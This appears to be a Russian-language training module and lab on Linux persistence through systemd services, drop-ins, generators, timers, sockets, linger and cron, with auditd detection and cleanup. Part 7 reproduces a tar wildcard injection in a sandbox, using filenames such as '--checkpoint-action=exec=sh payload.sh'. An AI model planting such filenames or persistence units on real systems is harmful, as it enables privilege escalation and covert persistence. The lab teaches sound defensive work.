systemctl list-unit-files --state=enabled --no-pager   # включённые юниты
systemctl list-units --type=service --all --no-pager   # загруженные службы
systemctl list-timers --all --no-pager                 # таймеры
systemctl list-sockets --all --no-pager                # сокеты
systemd-delta --no-pager                               # перекрытия и дополнения
systemctl cat UNIT                                     # фрагмент + все drop-in
systemctl show -p FragmentPath -p DropInPaths UNIT     # откуда взят юнит
systemctl show -p Triggers UNIT.socket                 # что запускает сокет
systemd-analyze verify UNIT                            # синтаксис и зависимости
systemd-analyze calendar 'Mon *-*-* 03:30:00'          # разбор расписания
systemd-analyze security UNIT                          # оценка изоляции службы

Файлы и каталоги

Минимальный юнит

[Unit]
Description=Что делает
After=network-online.target

[Service]
Type=simple
ExecStart=/путь/к/программе --ключ
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Минимальный таймер

[Unit]
Description=Что и когда

[Timer]
OnCalendar=*-*-* 03:30:00
Persistent=true
Unit=my-job.service

[Install]
WantedBy=timers.target

Проверка cron-окружения

env -i SHELL=/bin/sh PATH=/usr/bin:/bin HOME="$HOME" LOGNAME="$USER" \
  /bin/sh -c 'env; command -v python3'
crontab -l
sudo ls -la /etc/cron.d /etc/cron.daily
sudo ausearch -k cron_persist -i --start today

Аудит

-w /etc/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/user/ -p wa -k systemd_persist
-w /etc/cron.d/ -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist
-w /var/lib/systemd/linger/ -p wa -k linger

Типичные ошибки

Что почитать и посмотреть

• man 5 systemd.unit, man 5 systemd.service, man 5 systemd.timer, man 5 systemd.socket, man 5 systemd.path — первоисточник по каждому типу юнита; читать по мере надобности, а не целиком.
• man 5 crontab, man 8 cron, man 8 anacron, man 8 run-parts — формат и поведение планировщика, включая правила имён.
• systemd. Документация. — https://www.freedesktop.org/software/systemd/man/ — та же документация в вебе, с перекрёстными ссылками.
• Debian Reference, глава о планировщиках и службах. — https://www.debian.org/doc/manuals/debian-reference/ — как раскладка каталогов устроена в Debian/Ubuntu.
• MITRE ATT&CK, тактика Persistence, техники T1543.002 (Systemd Service), T1053.003 (Cron), T1546. — https://attack.mitre.org/ — как эти приёмы классифицируются в модели угроз.
• NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006. — порядок сбора данных при разборе инцидента.
• systemd-analyze security и systemd.exec(5) — параметры изоляции службы: ProtectSystem, PrivateTmp, NoNewPrivileges, CapabilityBoundingSet, SystemCallFilter.

Углубление

Как systemd хранит состояние юнита

Состояние юнита — не файл, а объект в памяти менеджера. При загрузке systemd читает конфигурацию, строит граф зависимостей и запускает то, что нужно для достижения default.target. После этого systemctl start не перечитывает файл: он вызывает метод D-Bus, который работает с уже загруженным объектом. Именно поэтому правка юнита без daemon-reload не даёт эффекта, а daemon-reload перечитывает конфигурацию, не перезапуская уже работающие процессы.

Отсюда практическое следствие для защитника: сравнение файла на диске с работающим состоянием — два разных вопроса. systemctl cat показывает диск, systemctl show — то, что загружено в память, systemctl status — текущее состояние. Расхождение между ними само по себе является признаком: кто-то правил файл, но не перезагрузил конфигурацию, или наоборот.

cgroup v2 и дерево юнитов

Каждый юнит получает cgroup в /sys/fs/cgroup/. Для системных служб это /sys/fs/cgroup/system.slice/<unit>/, для пользовательских — /sys/fs/cgroup/user.slice/user-<uid>.slice/user@<uid>.service/<unit>/. Внутри лежат cgroup.procs (PID процессов), cgroup.controllers, memory.current, cpu.stat. Дерево cgroup — самый надёжный способ увидеть, какие процессы принадлежат юниту: systemd-cgls рисует его целиком, а systemctl status показывает только верхушку.

Для обнаружения это важно потому, что процесс, запущенный из юнита, наследует его cgroup, даже если сменил имя, сделал setsid или перешёл в другой сеанс. Уйти из cgroup можно только записью в cgroup.procs (нужны права) или через делегирование, поэтому принадлежность процесса юниту — хороший якорь при разборе.

Почему cron до сих пор жив

systemd-таймеры мощнее: они знают зависимости, умеют Persistent, RandomizedDelaySec, журналирование и изоляцию. Тем не менее cron остаётся в дистрибутивах по трём причинам. Во-первых, совместимость: тысячи пакетов ставят файлы в /etc/cron.daily и рассчитывают, что их кто-то запустит. Во-вторых, простота: crontab — пять полей и команда, его понимает любой администратор. В-третьих, cron работает без systemd: в контейнерах, chroot и минимальных образах, где PID 1 — не systemd, это единственный планировщик.

Для защитника это означает, что инвентаризация должна покрывать оба механизма независимо. Отключение cron не закрывает systemd-таймеры, а отключение таймеров не убирает /etc/cron.d.

Смежные точки, которые стоит знать

За пределами плана темы остаются ещё несколько механизмов автозапуска, которые полезно держать в голове при инвентаризации: systemd-tmpfiles (создаёт файлы и каталоги при загрузке по правилам из /etc/tmpfiles.d), ~/.bashrc и /etc/profile.d (запуск при входе в оболочку), ld.so.preload (подключение библиотеки ко всем программам, подробно — в теме 1), authorized_keys и ~/.ssh/config (вход без пароля, тема 2), @reboot в crontab. Каждый из них — отдельная точка, и полная инвентаризация всегда шире одного списка.

Лабораторная работа 5. Призрак в cron

• Раздел курса: апокриф 5 «Инъекция юнитов systemd и Cron»

Введение

Работа состоит из восьми частей и идёт от наблюдения к построению. Сначала читатель инвентаризирует автозапуск на своей машине и учится отличать штатные точки входа от посторонних. Затем собирает собственную службу systemd, ставит её на автозапуск, проверяет, как она выглядит в cgroup, журнале и списке юнитов, и убеждается, что systemctl status показывает ровно то, что записано в файле. После этого — drop-in, генератор, таймер, сокет-активация и пользовательский менеджер с linger: каждый приём добавляет ещё один способ запустить код, не создавая нового процесса прямо сейчас.

Вторая половина работы — cron. Читатель разбирает окружение задания, экранирование %, правила run-parts и воспроизводит wildcard-инъекцию в изолированном пространстве имён, где tar действительно работает от root, но только внутри песочницы. Завершается работа обнаружением: по каким признакам все эти точки находятся, какие правила auditd их фиксируют и что именно ломает каждый приём.

Базовая часть выполняется от обычного пользователя; части, где нужен root (системные юниты, auditd, cron), выполняются через sudo на собственной виртуальной машине. Если прав администратора нет, эти части выполняются в одноразовой ВМ, а на рабочей машине остаются только наблюдение и пользовательские юниты — так и написано в заданиях. Продвинутые задания помечены отдельно и не являются обязательными для понимания материала.

Цель работы

После выполнения работы получится:

• перечислять все точки автозапуска системы и объяснять приоритет каталогов юнитов;
• писать юнит .service с корректными Type=, Restart=, ExecStartPre= и ставить его на автозапуск;
• переопределять поведение пакетного юнита через drop-in, не меняя сам файл, и находить такое переопределение;
• собирать таймер и сокет-активацию и объяснять, почему до срабатывания в системе нет процесса;
• запускать пользовательскую службу, переживающую выход из сессии, и находить признак linger;
• объяснять, почему задание cron работает иначе, чем та же команда в терминале, и исправлять это;
• воспроизводить wildcard-инъекцию в песочнице и закрывать её тремя способами;
• находить перечисленные точки закрепления командами инвентаризации и правилами auditd.

Теоретический минимум

Нужны разделы «Каталоги юнитов и порядок разрешения», «Служба как точка закрепления», «Пользовательский менеджер и linger», «Cron: формат, окружение и слепые зоны» и «Обнаружение и защита» темы 5. Дополнительно используются темы 4 (права и процессы), 5 (процессы и сигналы), 7 (журналы), 11 (systemd) и 16 (планировщики) основной программы.

Перечень оснащения

Ubuntu 24.04 LTS (виртуальная машина или WSL2 с включённым systemd), пакеты systemd, cron, auditd, strace, util-linux, socat, netcat-openbsd. Для части 7 нужен tar и утилита unshare из util-linux. Архив окружения lr-env содержит генератор учебных файлов setup-env.sh, скрипт уборки cleanup-env.sh, шаблоны юнитов и уязвимый скрипт резервного копирования. Распакуйте архив в ~/lab-apocrypha-05.

sudo apt update && sudo apt install -y cron auditd strace util-linux socat netcat-openbsd

В WSL2 systemd включается один раз: в /etc/wsl.conf добавить

[boot]
systemd=true

и перезапустить WSL командой wsl --shutdown из Windows. Проверка — systemctl is-system-running; ожидаемый ответ running или degraded.

Порядок выполнения работы

Работайте в каталоге ~/lab-apocrypha-05. Для каждой части в «Журнале работы» фиксируйте: что ожидалось, что получилось, чем объясняется расхождение. Команды с sudo выполняются только на собственной машине; в чужой инфраструктуре они не выполняются никогда.

Подготовка

Распакуйте окружение и запустите генератор. Он создаёт каталог sandbox с учебными файлами, шаблоны юнитов и скрипт vulnerable-backup.sh, который понадобится в части 7.

cd ~/lab-apocrypha-05
bash setup-env.sh
find sandbox -maxdepth 2 -type f | sort

sandbox/app/collect.sh
sandbox/app/config.ini
sandbox/backup/vulnerable-backup.sh
sandbox/cron/crontab.example
sandbox/units/telemetry.service
sandbox/units/telemetry.timer

Часть 1. Инвентаризация автозапуска

Задание

1. Соберите список включённых юнитов, активных таймеров и слушающих сокетов:

   systemctl list-unit-files --state=enabled --no-pager
   systemctl list-timers --all --no-pager
   systemctl list-sockets --all --no-pager
   

2. Для трёх любых служб из списка выясните, откуда взят файл и есть ли переопределения:

   systemctl show -p FragmentPath -p DropInPaths ssh.service
   systemctl cat ssh.service | head -40
   

3. Найдите все файлы юнитов, изменённые за последние 30 дней:

   sudo find /etc/systemd /usr/lib/systemd /var/lib/systemd -type f -mtime -30 -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort
   

4. Проверьте, включён ли cron и есть ли пользовательские расписания:

   systemctl is-enabled cron.service; systemctl is-active cron.service
   sudo ls -la /var/spool/cron/crontabs/ 2>/dev/null
   sudo cat /etc/crontab
   

5. Заполните таблицу: для каждой найденной точки входа — путь, владелец, дата изменения, что запускает, ожидаемая ли это точка.

Что должно получиться

Таблица на 10–20 строк, в которой видно, что большинство точек входа — пакетные файлы с датами установки, а всё, что выбивается из этого ряда, помечено как «требует объяснения». В журнале — вывод systemctl show для трёх служб и вывод find с датами.

Часть 2. Собственная служба и её жизненный цикл

Задание

1. Соберите скрипт, который пишет строку в файл и спит, — он будет полезной нагрузкой:

   cat > sandbox/app/collect.sh <<'EOF'
   #!/bin/sh
   set -eu
   while true; do
       printf '%s tick\n' "$(date -Is)" >> /tmp/telemetry.log
       sleep 30
   done
   EOF
   chmod +x sandbox/app/collect.sh
   

2. Возьмите шаблон sandbox/units/telemetry.service, проверьте путь к скрипту и скопируйте юнит в систему:

   sudo install -m 0644 sandbox/units/telemetry.service /etc/systemd/system/telemetry.service
   sudo systemctl daemon-reload
   sudo systemd-analyze verify /etc/systemd/system/telemetry.service
   sudo systemctl enable --now telemetry.service
   

3. Проверьте состояние, cgroup и журнал:

   systemctl status telemetry.service --no-pager
   systemctl show -p MainPID -p ActiveState -p SubState telemetry.service
   journalctl -u telemetry.service -n 20 --no-pager
   cat /sys/fs/cgroup/system.slice/telemetry.service/cgroup.procs
   

4. Остановите службу и убедитесь, что Restart=always не поднимает её после stop (в отличие от падения):

   sudo systemctl stop telemetry.service
   sleep 3
   systemctl is-active telemetry.service
   

5. Сымитируйте падение: убейте основной процесс сигналом SIGKILL и проследите, как systemd перезапускает службу.

Что должно получиться

Служба в состоянии active (running), в cgroup.procs — PID из MainPID, в журнале — строки tick. После stop служба неактивна; после kill -9 — перезапущена, и в журнале видно новую запись Started. В «Журнале работы» — объяснение разницы между stop и падением.

Часть 3. Drop-in и генератор

Задание

1. Создайте drop-in, который добавляет переменную окружения и не меняет основной файл:

   sudo mkdir -p /etc/systemd/system/telemetry.service.d
   sudo tee /etc/systemd/system/telemetry.service.d/10-env.conf >/dev/null <<'EOF'
   [Service]
   Environment=TELEMETRY_MODE=verbose
   EnvironmentFile=-/etc/telemetry.conf
   EOF
   sudo systemctl daemon-reload
   sudo systemctl restart telemetry.service
   

2. Убедитесь, что переопределение видно:

   systemctl show -p DropInPaths -p Environment telemetry.service
   systemd-delta --type=overridden --no-pager
   systemctl cat telemetry.service
   

3. Проверьте переменную в окружении процесса:

   pid=$(systemctl show -p MainPID --value telemetry.service)
   sudo tr '\0' '\n' < /proc/$pid/environ | grep TELEMETRY
   

4. Соберите генератор, который создаёт юнит при загрузке:

   sudo tee /etc/systemd/system-generators/99-demo-generator >/dev/null <<'EOF'
   #!/bin/sh
   set -eu
   cat > "$1/generated-demo.service" <<'UNIT'
   [Unit]
   Description=Generated Demo Service
   [Service]
   Type=oneshot
   ExecStart=/bin/sh -c 'date -Is >> /tmp/generated.log'
   [Install]
   WantedBy=multi-user.target
   UNIT
   EOF
   sudo chmod 0755 /etc/systemd/system-generators/99-demo-generator
   sudo systemctl daemon-reload
   

5. Найдите сгенерированный юнит и объясните, почему его нет в list-unit-files:

   ls -l /run/systemd/generator/
   systemctl cat generated-demo.service
   systemctl list-units --all | grep generated-demo
   

6. Уберите за собой: удалите drop-in и генератор, выполните daemon-reload, перезапустите службу.

Что должно получиться

Drop-in виден в DropInPaths и systemd-delta, переменная присутствует в environ процесса. Сгенерированный юнит существует в /run/systemd/generator, но отсутствует в list-unit-files; в журнале — объяснение, что список строится по файлам в каталогах юнитов.

Часть 4. Таймер и сокет-активация

Задание

1. Соберите oneshot-службу и таймер по шаблонам из sandbox/units/:

   sudo install -m 0644 sandbox/units/telemetry-collect.service /etc/systemd/system/telemetry-collect.service
   sudo install -m 0644 sandbox/units/telemetry.timer /etc/systemd/system/telemetry.timer
   sudo systemctl daemon-reload
   sudo systemctl enable --now telemetry.timer
   systemctl list-timers telemetry.timer --no-pager
   systemd-analyze calendar '*-*-* *:0/1'
   

2. Дождитесь двух срабатываний и проверьте журнал службы, которую запускает таймер:

   journalctl -u telemetry-collect.service -n 10 --no-pager
   cat /tmp/telemetry-collect.log
   

3. Соберите сокет-активацию:

   sudo tee /etc/systemd/system/demo.socket >/dev/null <<'EOF'
   [Unit]
   Description=Demo Socket
   [Socket]
   ListenStream=127.0.0.1:9418
   Accept=no
   [Install]
   WantedBy=sockets.target
   EOF
   sudo tee /etc/systemd/system/demo.service >/dev/null <<'EOF'
   [Unit]
   Description=Demo Socket Worker
   Requires=demo.socket
   After=demo.socket
   [Service]
   Type=simple
   ExecStart=/usr/bin/socat -u FD:3 -
   StandardOutput=append:/tmp/socket-demo.log
   EOF
   

4. Убедитесь, что до соединения процесса нет, а порт слушает PID 1:

   sudo systemctl start demo.socket
   systemctl is-active demo.service
   ss -tulpn | grep 9418
   

5. Подключитесь и посмотрите, что изменилось:

   printf 'hello\n' | nc -q1 127.0.0.1 9418
   sleep 1
   systemctl is-active demo.service
   cat /tmp/socket-demo.log
   

6. Объясните, почему demo.service не запускается при systemctl start demo.socket, но запускается при соединении, и что именно systemd передаёт процессу.

Что должно получиться

Таймер в list-timers с корректным NEXT; служба таймера отрабатывает по расписанию. До соединения demo.service неактивна, ss показывает сокет, принадлежащий systemd; после соединения служба активна, в логе — hello. В журнале — разбор LISTEN_FDS и номера дескриптора.

Часть 5. Пользовательский менеджер и linger

Задание

1. Создайте пользовательскую службу:

   mkdir -p ~/.config/systemd/user
   cat > ~/.config/systemd/user/user-telemetry.service <<'EOF'
   [Unit]
   Description=User Telemetry
   [Service]
   Type=simple
   ExecStart=/bin/sh -c 'while true; do date -Is >> %h/user-telemetry.log; sleep 60; done'
   Restart=always
   [Install]
   WantedBy=default.target
   EOF
   systemctl --user daemon-reload
   systemctl --user enable --now user-telemetry.service
   systemctl --user status user-telemetry.service --no-pager
   

2. Проверьте, что служба живёт в пользовательском менеджере:

   systemctl --user show -p MainPID -p FragmentPath user-telemetry.service
   ls -l /run/user/$(id -u)/
   loginctl show-user "$USER" -p Linger
   

3. Включите linger (нужен sudo) и проверьте, что пользовательский менеджер стартует без входа:

   sudo loginctl enable-linger "$USER"
   loginctl show-user "$USER" -p Linger
   ls -l /var/lib/systemd/linger/
   

4. Завершите сессию (в ВМ — loginctl terminate-session "$XDG_SESSION_ID", в WSL2 — закрытие окна) и после повторного входа проверьте, что служба продолжала писать в журнал.

5. Выключите linger и объясните, что изменится после следующего выхода.

Что должно получиться

Служба активна, FragmentPath указывает в ~/.config/systemd/user, Linger=yes после включения, файл в /var/lib/systemd/linger существует. В журнале — записи за время, когда сессии не было. После disable-linger — объяснение, почему служба остановится при выходе.

Часть 6. Cron: окружение, проценты, run-parts

Задание

1. Создайте пользовательское задание с минимальным окружением и посмотрите, что оно видит:

   crontab -l > /tmp/crontab.bak 2>/dev/null || true
   (crontab -l 2>/dev/null; echo '* * * * * env > /tmp/cron-env.txt 2>&1') | crontab -
   sleep 70
   cat /tmp/cron-env.txt
   

2. Сравните с окружением интерактивной оболочки:

   env | sort > /tmp/shell-env.txt
   diff <(sort /tmp/cron-env.txt) /tmp/shell-env.txt | head -30
   

3. Проверьте экранирование %: задание без экранирования и с ним.

   (crontab -l; echo '* * * * * date +%Y-%m-%d > /tmp/cron-date-bad.txt 2>&1') | crontab -
   (crontab -l; echo '* * * * * date +\%Y-\%m-\%d > /tmp/cron-date-good.txt 2>&1') | crontab -
   sleep 70
   cat /tmp/cron-date-bad.txt /tmp/cron-date-good.txt
   

4. Разберите run-parts: создайте в песочнице каталог с двумя исполняемыми файлами — job-one и job-two.sh — и запустите run-parts --test:

   mkdir -p sandbox/runparts
   printf '#!/bin/sh\necho one\n' > sandbox/runparts/job-one
   printf '#!/bin/sh\necho two\n' > sandbox/runparts/job-two.sh
   chmod +x sandbox/runparts/job-*
   run-parts --test sandbox/runparts
   

5. Восстановите crontab из резервной копии и удалите временные файлы.

Что должно получиться

В cron-env.txt — минимальный набор переменных (SHELL, PATH, HOME, LOGNAME, MAILTO), в diff видно, чего не хватает по сравнению с оболочкой. Задание с неэкранированным % даёт пустой или испорченный файл, с экранированным — корректную дату. run-parts --test показывает только job-one, а job-two.sh пропускает. В журнале — объяснение обоих эффектов.

Часть 7. Wildcard-инъекция и защита

Задание

Часть выполняется в изолированном пространстве имён, чтобы tar работал от root, но не мог изменить ничего за пределами песочницы.

1. Подготовьте каталог и скрипт, который имитирует задание cron:

   cd ~/lab-apocrypha-05
   unshare -r --map-root-user bash -c '
     set -eu
     cd sandbox
     mkdir -p data backup
     printf "a\n" > data/data.csv
     printf "b\n" > data/notes.txt
     cp backup/vulnerable-backup.sh data/run-backup.sh
     sh data/run-backup.sh
   '
   

2. Посмотрите, что делает скрипт, и найдите в нём раскрытие *:

   cat sandbox/backup/vulnerable-backup.sh
   

3. Создайте файлы с именами-опциями и полезную нагрузку:

   cd sandbox/data
   touch -- '--checkpoint=1'
   touch -- '--checkpoint-action=exec=sh payload.sh'
   printf '#!/bin/sh\nid > /tmp/wildcard-proof.txt\n' > payload.sh
   chmod +x payload.sh
   cd ../..
   

4. Запустите уязвимый скрипт в том же пространстве имён и проверьте результат:

   unshare -r --map-root-user bash -c 'cd sandbox && sh data/run-backup.sh'
   cat /tmp/wildcard-proof.txt
   

5. Закройте уязвимость тремя способами — по одному на каждую копию скрипта: -- перед *, ./* вместо *, find с -maxdepth 1 -type f. Для каждого варианта повторите шаг 4 и убедитесь, что wildcard-proof.txt больше не создаётся.

6. Уберите файлы с именами-опциями и полезную нагрузку.

Что должно получиться

До исправления wildcard-proof.txt содержит uid=0(root) — команда выполнилась от root внутри пространства имён. После каждого из трёх исправлений файл не создаётся, а tar завершается успешно. В журнале — разбор того, как оболочка раскрывает * и почему ./ меняет первый символ имени.

Часть 8. Обнаружение и уборка

Задание

1. Включите аудит конфигурации (нужен sudo):

   sudo tee /etc/audit/rules.d/lab-persistence.rules >/dev/null <<'EOF'
   -w /etc/systemd/system/ -p wa -k lab_systemd
   -w /etc/cron.d/ -p wa -k lab_cron
   -w /var/lib/systemd/linger/ -p wa -k lab_linger
   EOF
   sudo augenrules --load
   sudo auditctl -l | grep lab_
   

2. Измените что-нибудь в подконтрольном каталоге и найдите событие:

   sudo touch /etc/systemd/system/lab-marker.service
   sudo ausearch -k lab_systemd -i --start recent | tail -20
   sudo rm /etc/systemd/system/lab-marker.service
   

3. Соберите отчёт обнаружения по своей машине: список всех точек закрепления, которые вы создали в частях 2–5, и для каждой — команду, которой она находится.

4. Выполните уборку:

   sudo systemctl disable --now telemetry.timer telemetry.service demo.socket demo.service 2>/dev/null
   sudo rm -f /etc/systemd/system/telemetry.service /etc/systemd/system/telemetry.timer \
              /etc/systemd/system/demo.socket /etc/systemd/system/demo.service \
              /etc/systemd/system/generated-demo.service
   sudo rm -rf /etc/systemd/system/telemetry.service.d
   sudo rm -f /etc/systemd/system-generators/99-demo-generator
   sudo rm -f /etc/audit/rules.d/lab-persistence.rules
   sudo augenrules --load
   systemctl --user disable --now user-telemetry.service 2>/dev/null
   rm -rf ~/.config/systemd/user
   sudo loginctl disable-linger "$USER"
   crontab -r 2>/dev/null || true
   sudo systemctl daemon-reload
   

5. Убедитесь, что уборка полная: ни одного юнита, таймера, сокета, linger-файла и задания cron из этой работы не осталось.

Что должно получиться

События lab_systemd и lab_linger в ausearch, отчёт обнаружения с командами, чистая система после уборки. В журнале — таблица «точка закрепления — команда обнаружения — что осталось после уборки».

Журнал работы

Для каждой части запишите:

1. Что предполагалось увидеть до выполнения команды.
2. Фактический вывод (ключевые строки, не весь экран).
3. Объяснение расхождения, если оно было.
4. Для частей 2–7 — как эта точка закрепления выглядит для защитника: какая команда её находит, какой признак выдаёт.

Отдельно ответьте на три вопроса:

• Какие из созданных точек переживут перезагрузку, а какие — нет, и почему?
• Какая точка закрепления не создаёт ни одного процесса до момента срабатывания?
• Что изменится, если корневая файловая система смонтирована только для чтения?

Контрольные вопросы

1. Почему файл юнита в /etc/systemd/system перекрывает одноимённый файл в /usr/lib/systemd/system, и как это проверить одной командой?
2. Чем DropInPaths отличается от FragmentPath и почему drop-in не виден в list-unit-files --state=enabled?
3. Где systemd хранит юниты, созданные генератором, и почему они не попадают в список файлов юнитов?
4. Чем Type=simple отличается от Type=exec и Type=notify, и что произойдёт, если объявить демонизирующуюся службу как simple?
5. Зачем нужен RemainAfterExit=yes и в каком типе службы он обязателен?
6. Как работает сокет-активация: кто слушает порт до первого соединения, что получает процесс и в каком виде?
7. Почему пользовательская служба умирает при выходе из сессии и как linger это меняет? Где хранится признак linger?
8. Чем OnUnitActiveSec= отличается от OnCalendar= и что делает Persistent=true?
9. Почему задание cron не видит PATH из ~/.bashrc? Какие переменные cron задаёт по умолчанию?
10. Что означает % в строке crontab и как передать его в команду буквально?
11. Почему run-parts пропускает файл job-two.sh, но выполняет job-one?
12. Как имена файлов в каталоге превращаются в опции команды и почему ./* это исправляет?
13. Какое правило auditd зафиксирует создание юнита, а какое — запуск процесса от root?
14. Какие две-три настройки ломают закрепление через systemd на hardened-системе?